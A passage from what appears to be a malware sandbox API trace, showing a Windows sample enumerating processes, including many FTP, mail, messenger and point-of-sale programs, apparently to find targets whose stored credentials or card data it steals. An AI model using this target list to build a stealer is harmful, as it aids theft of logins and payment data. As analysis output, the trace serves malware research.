th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.501] lstrlenW (lpString="winlogon.exe") returned 12 [0049.501] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.501] lstrlenW (lpString="services.exe") returned 12 [0049.502] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.502] lstrlenW (lpString="lsass.exe") returned 9 [0049.502] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.502] lstrlenW (lpString="lsm.exe") returned 7 [0049.502] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.503] lstrlenW (lpString="svchost.exe") returned 11 [0049.503] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.503] lstrlenW (lpString="svchost.exe") returned 11 [0049.503] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.503] lstrlenW (lpString="svchost.exe") returned 11 [0049.503] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.504] lstrlenW (lpString="svchost.exe") returned 11 [0049.504] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.505] lstrlenW (lpString="svchost.exe") returned 11 [0049.505] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.505] lstrlenW (lpString="audiodg.exe") returned 11 [0049.505] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.505] lstrlenW (lpString="svchost.exe") returned 11 [0049.505] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.506] lstrlenW (lpString="svchost.exe") returned 11 [0049.506] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.506] lstrlenW (lpString="dwm.exe") returned 7 [0049.506] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.506] lstrlenW (lpString="explorer.exe") returned 12 [0049.507] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.507] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.507] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.507] lstrlenW (lpString="taskhost.exe") returned 12 [0049.507] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.508] lstrlenW (lpString="svchost.exe") returned 11 [0049.508] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.508] lstrlenW (lpString="taskeng.exe") returned 11 [0049.508] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0049.508] lstrlenW (lpString="judges-present.exe") returned 18 [0049.508] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0049.509] lstrlenW (lpString="physics.exe") returned 11 [0049.509] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0049.509] lstrlenW (lpString="belongs.exe") returned 11 [0049.509] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0049.510] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0049.510] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0049.510] lstrlenW (lpString="gadgets.exe") returned 11 [0049.510] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0049.510] lstrlenW (lpString="geneva.exe") returned 10 [0049.510] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0049.511] lstrlenW (lpString="elephant.exe") returned 12 [0049.511] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0049.511] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0049.511] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0049.512] lstrlenW (lpString="roger-venice.exe") returned 16 [0049.512] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0049.512] lstrlenW (lpString="cite.exe") returned 8 [0049.512] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0049.512] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0049.512] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0049.513] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0049.513] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0049.513] lstrlenW (lpString="artist_selecting.exe") returned 20 [0049.513] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0049.514] lstrlenW (lpString="poems.exe") returned 9 [0049.514] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0049.514] lstrlenW (lpString="bow.exe") returned 7 [0049.514] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0049.514] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0049.514] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0049.515] lstrlenW (lpString="businesses.exe") returned 14 [0049.515] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0049.515] lstrlenW (lpString="lucky.exe") returned 9 [0049.515] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0049.516] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0049.516] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0049.516] lstrlenW (lpString="healthmanner.exe") returned 16 [0049.516] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0049.517] lstrlenW (lpString="3dftp.exe") returned 9 [0049.517] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0049.517] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0049.517] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0049.517] lstrlenW (lpString="alftp.exe") returned 9 [0049.517] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0049.518] lstrlenW (lpString="barca.exe") returned 9 [0049.518] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0049.518] lstrlenW (lpString="bitkinex.exe") returned 12 [0049.518] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0049.518] lstrlenW (lpString="coreftp.exe") returned 11 [0049.518] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0049.519] lstrlenW (lpString="far.exe") returned 7 [0049.519] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0049.519] lstrlenW (lpString="filezilla.exe") returned 13 [0049.519] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0049.520] lstrlenW (lpString="flashfxp.exe") returned 12 [0049.520] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0049.520] lstrlenW (lpString="fling.exe") returned 9 [0049.520] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0049.520] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0049.520] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0049.564] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0049.564] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0049.564] lstrlenW (lpString="icq.exe") returned 7 [0049.564] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0049.565] lstrlenW (lpString="leechftp.exe") returned 12 [0049.565] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0049.565] lstrlenW (lpString="ncftp.exe") returned 9 [0049.565] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0049.566] lstrlenW (lpString="notepad.exe") returned 11 [0049.566] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0049.566] lstrlenW (lpString="operamail.exe") returned 13 [0049.566] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0049.567] lstrlenW (lpString="pidgin.exe") returned 10 [0049.567] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0049.568] lstrlenW (lpString="scriptftp.exe") returned 13 [0049.568] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0049.568] lstrlenW (lpString="skype.exe") returned 9 [0049.568] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0049.569] lstrlenW (lpString="smartftp.exe") returned 12 [0049.569] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0049.569] lstrlenW (lpString="thunderbird.exe") returned 15 [0049.569] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0049.570] lstrlenW (lpString="totalcmd.exe") returned 12 [0049.570] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0049.570] lstrlenW (lpString="trillian.exe") returned 12 [0049.570] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0049.571] lstrlenW (lpString="webdrive.exe") returned 12 [0049.571] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0049.572] lstrlenW (lpString="whatsapp.exe") returned 12 [0049.572] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0049.572] lstrlenW (lpString="winscp.exe") returned 10 [0049.572] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0049.573] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0049.573] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0049.573] lstrlenW (lpString="active-charge.exe") returned 17 [0049.573] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0049.574] lstrlenW (lpString="accupos.exe") returned 11 [0049.574] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0049.574] lstrlenW (lpString="afr38.exe") returned 9 [0049.574] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0049.575] lstrlenW (lpString="aldelo.exe") returned 10 [0049.575] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 